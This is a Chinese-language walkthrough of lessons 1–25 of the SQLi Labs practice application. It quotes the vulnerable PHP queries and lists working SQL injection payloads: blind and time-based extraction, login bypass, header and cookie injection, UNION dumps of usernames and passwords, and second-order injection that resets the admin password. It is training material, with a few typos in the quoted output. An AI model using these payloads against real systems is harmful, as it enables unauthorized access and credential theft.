结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言。对于初学者,数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询,关系,面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件,像MySQL,MS SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。
我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。
Less-1
关键代码:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
可以看到对于直接 GET 进来的文本没有过滤。
同时,在查询语句中,id=’$id’,变量加了引号。这里引号的意思是把输入的 id 当做字符串来处理,取从头开始的最长数字且类型转换为整形进行查询。
?id=12a 显示id为12的用户
?id=1a2a 显示id为1的用户
?id=102a 显示id为102的用户(不存在)
盲注
?id=1%27and+left(version(),1)=5%23 得出数据库版本为5开头
?id=1%27and+length(database())=8%23 数据库名长度为8
?id=1%27and+left(database(),8)='security'%23 数据库为security
?id=1%27and+length(username)=4%23 用户名长度为4
?id=1%27and+left(username,4)='Dumb'%23 用户名为Dumb
?id=1%27and+length(password)=4%23 密码长度为4
?id=1%27and+left(password,4)='Dumb'%23 密码为Dumb
Less-2
关键代码:
$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
同样未做过滤,但此处的变量 id 无引号。大概是直接将变量 id 当做整形传入查询。
?id=12 显示 id 为 12 的用户
?id=12a 报错:Unknown column '12a' in 'where clause'
?id=%31 显示 id 为 1 的用户
注入测试:
?id=1+and+left(version(),1)=5 直接注入即可得到版本号
Less-3
关键代码:
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;
未过滤,但变量 id 加了引号和括号。将变量 id 以字符串形式引入,和Less-1很像,但是却又多了个括号,猜测是防止注入语句。
注入测试:
?id=12+and+1=1 显示正确
?id=12+an 不完全语句也显示正确
猜测:括号将变量限制在括号范围内,尝试手动提前匹配括号注入。
?id=12%27 成功报错:''12'') LIMIT 0,1' at line 1
?id=1%27%29and+1=2%23 无显示,可注入
上面那条语句还原到 SQL 语句时,为:
SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1
将括号提前结束且用 #号注释掉接下来的语句。接下来的注入只要替换 and 1=1 语句就行了。
Less-4
关键代码:
$id = ‘“‘ . $id . ‘“‘;
$sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1”;
对变量 id 做了处理。该处理在 id 前后添加双引号。
?id=1%22%29+and+1=2%23 无显示,可注入
SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
Less-5
关键代码:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
?id=1'and+1=2#
Less-6
关键代码:
$id = ‘“‘.$id.’”‘;
$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
?id=1"and+1=2#
Less-7
关键代码:
$sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;
?id=1'))and 1=2#
Less-8
关键代码:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
?id=1' and 1=2#
Less-9
尝试了很多次,各种组合,但是服务器返回的结果都是一样。
尝试 ?id=10000000000
返回结果也是正确,因为不存在这么大的 id,所以判断这个页面把正确和错误的信息全部返回一致。
于是,使用基于时间的注入,构造以下语句:
?id=1' and sleep(5) %23
如果错误,则服务器处理5秒再返回,否则直接返回,找到正确的注入点。
?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23
第一个语句暂停五秒第二个直接返回,判断数据库名的第一个字母为s(ascii为115)
Less-10
又是一个基于时间的注入,尝试了下,注入点在这:
?id=1" and sleep(5) %23
Less-11
这个页面采用 POST 的方法得到数据。于是用 HackBar 修改 post 数据进行测试:
uname=admin&passwd=123'
显示:
''123'' LIMIT 0,1'
去掉单引号
'123'' LIMIT 0,1
再去掉密码的单引号
123' LIMIT 0,1
所以确定是单引号注入,直接万能密钥试试:
uname=admin' or '1'='1 &passwd=123456
这里的话有个点:
如果输入:uname=admin’ or ‘1’=’1 &passwd=123456,会显示失败,为什么呢?
首先and的优先级高于or 【就是and先运算】
那么’1’=’1’ and password=’123456’先运算,因为users表里面的password字段没有一个数据时test,右边是false,那么整个表达式就是false
这个时候整个的语句就是:
SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1
数据库里没有test用户,所以就失败了。
而万能密钥的语句是:
SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1
对于上述的情况,我们在密码字段加入即可
uname=test&passwd=123456' or '1'='1
SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1
Less-12
先尝试单引号,双引号。
输入:
uname=test&passwd=123456”
报错:
‘“123456””) LIMIT 0,1’
123456”) LIMIT 0,1
构造POC:
uname=test&passwd=123456”) or “1”=”1”#
Less-13
先尝试单引号,双引号。
输入:
uname=test&passwd=123456’
报错:
‘’123456’’) LIMIT 0,1’
123456’) LIMIT 0,1
构造POC:
uname=test&passwd=123456’) or (‘1’)=(‘1
或者
uname=test&passwd=123456’) or “1”=”1”#
Less-14
先尝试单引号,双引号。
输入:
uname=test&passwd=123456”
报错:
‘“123456”” LIMIT 0,1’
123456” LIMIT 0,1
构造POC:
uname=test&passwd=123456” or “1”=”1”#
或者
uname=test&passwd=123456” or “1”=”1
Less-15
这里输入单引号,双引号就不会报错了,我们只能加上永真永假或者时间延迟函数了。
测试发现时间延迟不行。
uname=test&passwd=123456’ or 1=1#
直接成功了,
试一下盲注也是可以得。
uname=test&passwd=123456’ or length(database())=8#
Less-16
uname=test&passwd=123456”) or 1=1#
成功登陆,时间延迟注入试试
uname=test&passwd=123456") or if(length(database())=7,1,sleep(5)) #
暂停,说明不对
uname=test&passwd=123456") or if(length(database())=8,1,sleep(5)) #
成功登陆
Less-17
uname=admin&passwd=123456' where username='admin' and 1=2 #
对应的SQL语句是:
UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'
Less-18
这是 Header 注入。
意思是,从服务器要求的 Header 头里面找到可以注入的注入点。
从源代码可以看出,服务器将 Header 里面的 user-agent 的值没有经过过滤就带入了 insert into 语句,这就造成了注入。
$uagent = $_SERVER['HTTP_USER_AGENT'];
...
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
首先,抓包。
还有一个问题就是,insert into 语句要在登陆成功后才能执行,所以必须输入正确的用户和密码再抓包。
xpath注入:
payload:updatexml(1,concat(0x7e,(version())),0)
第一个参数是 目标xml
第二个参数是 xpath的表达式,这个看w3c那个xpath教程
第三个参数是 要将xpath的表达式的东西将目标xml替换成什么
POC:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")#
响应:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")#
XPATH syntax error: ':5.5.47'
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")#
响应:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")
XPATH syntax error: ':Dumb'
Less-19
POC:
Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")#
响应:
Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1")
XPATH syntax error: ':5.5.47'
这里也可以用一个报错函数extractvalue
第一个参数也是个xml,第二个参数就是xpath的表达式,这个函数是获取xml中某个节点的值
与updatexml一次只能更新一个节点不同,extractvalue可以一次获取多个节点的值,并以空格分隔
POC:
Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')#
响应:
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')#
XPATH syntax error: ':5.5.47'
Less-20
这题用 Cookies 注入
POC:
Cookie: uname=admin';
报错
Cookie: uname=admin' order by 3#;
正常显示
Cookie: uname=admin' order by 4#;
报错,所以是三个字段
Cookie: uname=admin' and 1=2 union select 1,2,3#;
显示2,3
Cookie: uname=admin' and 1=2 union select 1,database(),version()#;
数据库:security,版本:5.5.47
Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#;
表名:emails,referers,uagents,users,这里也可以用limit语句
Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#;
字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#;
内容:Your Login name:Dumb Your Password:Dumb
Less-21
cookies 注入
但是,这一次的 cookies 是加密的.
setcookie('uname', base64_encode($row1['username']), time()+3600);
...
$cookee = base64_decode($cookee);
POC:
') union select 1,2,username from users#
JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw==
显示密码Dumb
Less-22
单引号换成双引号就行了
uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj
Your Login name:2
Your Password:Dum
Less-23
这一题它在输入的时候过滤了几个字符
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
所以,我们不能用 #来注释掉剩下的查询语句。
那么该怎么办呢?
一个办法就是,让剩下的语句变得完整就行。
查询语句的代码为:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
构造语句:
?id=1’and+’1’=’1
Less-24
二次注入
与数据库交互的有三个页面:login_create.php,login.php,pass_change.php
login_create.php,登陆页面对用户和密码都进行了处理。
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
login_create.php对新建用户进行处理
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
pass_change.php是修改密码的
关键代码:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
...
可以发现
$sql = “UPDATE users SET PASSWORD=’$pass’ where username=’$username’ and password=’$curr_pass’ “;
更改密码时$username没有任何过滤,直接带入进去,如果$username后面有个注释符,那么我们可以直接绕过验证$curr_pass而直接更改密码。
所以我们要建一个有注释符的特殊用户
用户名:admin'+#+
密码: 123456
然后登陆,进入更改密码页面
随便输入当前密码,然后输入我们要更改的密码
YOU ARE LOGGED IN AS
admin' #
You can Change your password here.
Current Password: 123
New Password: 123456
Retype Password: 123456
提交,你会发现,admin的密码已经被我们改成123456了。
Less-25
这题的意思是,“你的 AND 和 OR 都是我们的了!”…
就是,AND 和 OR 全部都被过滤掉了。
AND==&&
OR==||
?id=1' && '1'='1
url编码
?id=1' %26%26 '1'='1